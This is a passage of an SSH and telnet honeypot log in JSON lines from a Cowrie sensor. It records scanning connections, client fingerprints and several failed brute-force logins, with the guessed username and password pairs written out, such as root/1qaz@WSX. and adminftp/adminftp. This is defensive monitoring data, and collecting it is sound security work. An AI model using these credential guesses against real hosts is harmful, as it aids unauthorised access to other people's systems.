{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43970,"dst_ip":"159.203.135.109","dst_port":23,"session":"84ee3afe2eaf","protocol":"telnet","message":"New connection: 161.132.53.68:43970 (159.203.135.109:23) [session: 84ee3afe2eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:22.553227Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43982,"dst_ip":"159.203.135.109","dst_port":23,"session":"d99517564653","protocol":"telnet","message":"New connection: 161.132.53.68:43982 (159.203.135.109:23) [session: d99517564653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:23.027911Z"}
{"eventid":"cowrie.login.failed","username":"admina","password":"admina","message":"login attempt [admina/admina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:23.057431Z","src_ip":"114.35.59.237","session":"cbf9f1f49c3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:24.273285Z","src_ip":"114.35.59.237","session":"cbf9f1f49c3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43996,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dccc721bb01","protocol":"telnet","message":"New connection: 161.132.53.68:43996 (159.203.135.109:23) [session: 9dccc721bb01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:26.021480Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54712,"dst_ip":"159.203.135.109","dst_port":23,"session":"561d533db8f9","protocol":"telnet","message":"New connection: 161.132.53.68:54712 (159.203.135.109:23) [session: 561d533db8f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:26.899345Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54718,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b26ae6c0296","protocol":"telnet","message":"New connection: 161.132.53.68:54718 (159.203.135.109:23) [session: 5b26ae6c0296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:29.987438Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":44990,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7448631e94a","protocol":"ssh","message":"New connection: 220.119.37.141:44990 (10.17.0.5:22) [session: c7448631e94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:32.241241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:32.249369Z","src_ip":"220.119.37.141","session":"c7448631e94a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:32.445441Z","src_ip":"220.119.37.141","session":"c7448631e94a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.89442467689514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:32.672021Z","src_ip":"161.132.53.68","session":"46a59190c703","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX.","message":"login attempt [root/1qaz@WSX.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:33.259112Z","src_ip":"220.119.37.141","session":"c7448631e94a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54722,"dst_ip":"159.203.135.109","dst_port":23,"session":"97f7cfdcd907","protocol":"telnet","message":"New connection: 161.132.53.68:54722 (159.203.135.109:23) [session: 97f7cfdcd907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:33.298179Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:34.457534Z","src_ip":"220.119.37.141","session":"c7448631e94a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.10714292526245,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:35.046919Z","src_ip":"161.132.53.68","session":"ec38802d73db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":55114,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a4a2ef97111","protocol":"ssh","message":"New connection: 124.18.182.99:55114 (10.17.0.5:22) [session: 1a4a2ef97111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:35.175666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:35.181011Z","src_ip":"124.18.182.99","session":"1a4a2ef97111","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:35.359704Z","src_ip":"124.18.182.99","session":"1a4a2ef97111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":54732,"dst_ip":"159.203.135.109","dst_port":23,"session":"c99230f46faf","protocol":"telnet","message":"New connection: 161.132.53.68:54732 (159.203.135.109:23) [session: c99230f46faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:35.973709Z"}
{"eventid":"cowrie.login.failed","username":"adminftp","password":"adminftp","message":"login attempt [adminftp/adminftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:36.090996Z","src_ip":"124.18.182.99","session":"1a4a2ef97111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:37.269484Z","src_ip":"124.18.182.99","session":"1a4a2ef97111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58084,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ae70d4e0fba","protocol":"telnet","message":"New connection: 104.245.105.2:58084 (10.17.0.5:23) [session: 6ae70d4e0fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:43.480272Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":33382,"dst_ip":"159.203.135.109","dst_port":23,"session":"53ba70066e9d","protocol":"telnet","message":"New connection: 161.132.53.68:33382 (159.203.135.109:23) [session: 53ba70066e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:44.683956Z"}
{"eventid":"cowrie.session.closed","duration":31.063042402267456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:46.743163Z","src_ip":"161.132.53.68","session":"ecb95ce81f76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":39796,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e83a03560c5","protocol":"telnet","message":"New connection: 161.132.53.68:39796 (159.203.135.109:23) [session: 3e83a03560c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:47.276529Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":39802,"dst_ip":"159.203.135.109","dst_port":23,"session":"26724e40d915","protocol":"telnet","message":"New connection: 161.132.53.68:39802 (159.203.135.109:23) [session: 26724e40d915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:48.114706Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":39814,"dst_ip":"159.203.135.109","dst_port":23,"session":"47495e0b4534","protocol":"telnet","message":"New connection: 161.132.53.68:39814 (159.203.135.109:23) [session: 47495e0b4534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:49.044765Z"}
{"eventid":"cowrie.session.closed","duration":32.94433927536011,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:52.824203Z","src_ip":"161.132.53.68","session":"e0a4c729ab26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7074773311615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:53.260508Z","src_ip":"161.132.53.68","session":"84ee3afe2eaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.472291707992554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:54.500061Z","src_ip":"161.132.53.68","session":"d99517564653","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45280,"dst_ip":"159.203.135.109","dst_port":23,"session":"a43932e7a816","protocol":"telnet","message":"New connection: 192.119.108.58:45280 (159.203.135.109:23) [session: a43932e7a816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:54.523834Z"}
{"eventid":"cowrie.session.closed","duration":31.36378288269043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:57.385161Z","src_ip":"161.132.53.68","session":"9dccc721bb01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52532,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0bbd90081eb","protocol":"telnet","message":"New connection: 161.132.53.68:52532 (159.203.135.109:23) [session: d0bbd90081eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:57.974988Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52534,"dst_ip":"159.203.135.109","dst_port":23,"session":"849e21d5627f","protocol":"telnet","message":"New connection: 161.132.53.68:52534 (159.203.135.109:23) [session: 849e21d5627f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:58.609426Z"}
{"eventid":"cowrie.session.closed","duration":32.340683460235596,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:31:59.239816Z","src_ip":"161.132.53.68","session":"561d533db8f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52550,"dst_ip":"159.203.135.109","dst_port":23,"session":"0466c6f3b1b5","protocol":"telnet","message":"New connection: 161.132.53.68:52550 (159.203.135.109:23) [session: 0466c6f3b1b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:00.702661Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52554,"dst_ip":"159.203.135.109","dst_port":23,"session":"05f02a0f3936","protocol":"telnet","message":"New connection: 161.132.53.68:52554 (159.203.135.109:23) [session: 05f02a0f3936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:00.748285Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52536,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d2bb016482d","protocol":"telnet","message":"New connection: 161.132.53.68:52536 (159.203.135.109:23) [session: 0d2bb016482d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:01.413447Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52556,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f97addc2377","protocol":"telnet","message":"New connection: 161.132.53.68:52556 (159.203.135.109:23) [session: 1f97addc2377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:02.314286Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52560,"dst_ip":"159.203.135.109","dst_port":23,"session":"b424bdd24c7f","protocol":"telnet","message":"New connection: 161.132.53.68:52560 (159.203.135.109:23) [session: b424bdd24c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:04.290507Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":50248,"dst_ip":"159.203.135.109","dst_port":23,"session":"acad7f865b39","protocol":"telnet","message":"New connection: 192.119.108.58:50248 (159.203.135.109:23) [session: acad7f865b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:04.431538Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":44016,"dst_ip":"159.203.135.109","dst_port":22,"session":"35eac103dd4a","protocol":"ssh","message":"New connection: 223.17.5.126:44016 (159.203.135.109:22) [session: 35eac103dd4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:04.609591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:04.615546Z","src_ip":"223.17.5.126","session":"35eac103dd4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:04.834321Z","src_ip":"223.17.5.126","session":"35eac103dd4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.06355166435242,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:05.361637Z","src_ip":"161.132.53.68","session":"97f7cfdcd907","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.50492525100708,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:05.492254Z","src_ip":"161.132.53.68","session":"5b26ae6c0296","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mt123456!","message":"login attempt [root/Mt123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:05.742527Z","src_ip":"223.17.5.126","session":"35eac103dd4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":35562,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b85d22749d5","protocol":"ssh","message":"New connection: 200.105.172.184:35562 (159.203.135.109:22) [session: 0b85d22749d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:05.845937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:05.856210Z","src_ip":"200.105.172.184","session":"0b85d22749d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:05.977663Z","src_ip":"200.105.172.184","session":"0b85d22749d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1414","message":"login attempt [root/1414] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:06.501732Z","src_ip":"200.105.172.184","session":"0b85d22749d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:06.965795Z","src_ip":"223.17.5.126","session":"35eac103dd4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:07.627720Z","src_ip":"200.105.172.184","session":"0b85d22749d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.996169567108154,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:08.969746Z","src_ip":"161.132.53.68","session":"c99230f46faf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.596641540527344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:14.076799Z","src_ip":"104.245.105.2","session":"6ae70d4e0fba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19204354286194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:15.875889Z","src_ip":"161.132.53.68","session":"53ba70066e9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":60096,"dst_ip":"10.17.0.5","dst_port":22,"session":"da542ad0c6bb","protocol":"ssh","message":"New connection: 114.35.59.237:60096 (10.17.0.5:22) [session: da542ad0c6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:18.001889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:32:18.008362Z","src_ip":"114.35.59.237","session":"da542ad0c6bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com"